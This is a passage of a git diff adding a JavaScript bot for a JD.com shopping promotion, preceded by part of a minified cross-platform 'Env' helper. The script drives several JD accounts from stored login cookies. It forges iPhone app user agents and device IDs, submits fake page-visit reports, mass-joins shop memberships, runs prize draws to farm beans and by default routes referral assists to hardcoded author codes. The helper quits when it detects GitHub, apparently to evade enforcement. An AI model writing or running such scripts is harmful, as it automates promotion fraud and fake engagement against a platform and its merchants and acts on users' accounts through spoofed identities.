t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_goddess.js b/backUp/jd_goddess.js new file mode 100644 index 0000000..b6f2383 --- /dev/null +++ b/backUp/jd_goddess.js @@ -0,0 +1,554 @@ +/* +女神狂欢 大牌盛典 +9-22 ~ 9-30 +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/6531736?activityId=fids98g8f798sd787f7gf0g9d8sd9f8s +*/ +const $ = new Env("女神狂欢 大牌盛典"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + authorCodeList = [ + 'eb1bf557cb804b8f939dd48e80e7b718', + 'eb20e503cce0401988fca094a9df1166', + + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'fids98g8f798sd787f7gf0g9d8sd9f8s' + $.activityShopId = '1000193685' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await marry(); + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function marry() { + $.log('那就开始吧。') + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000193685&pageId=fids98g8f798sd787f7gf0g9d8sd9f8s&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); 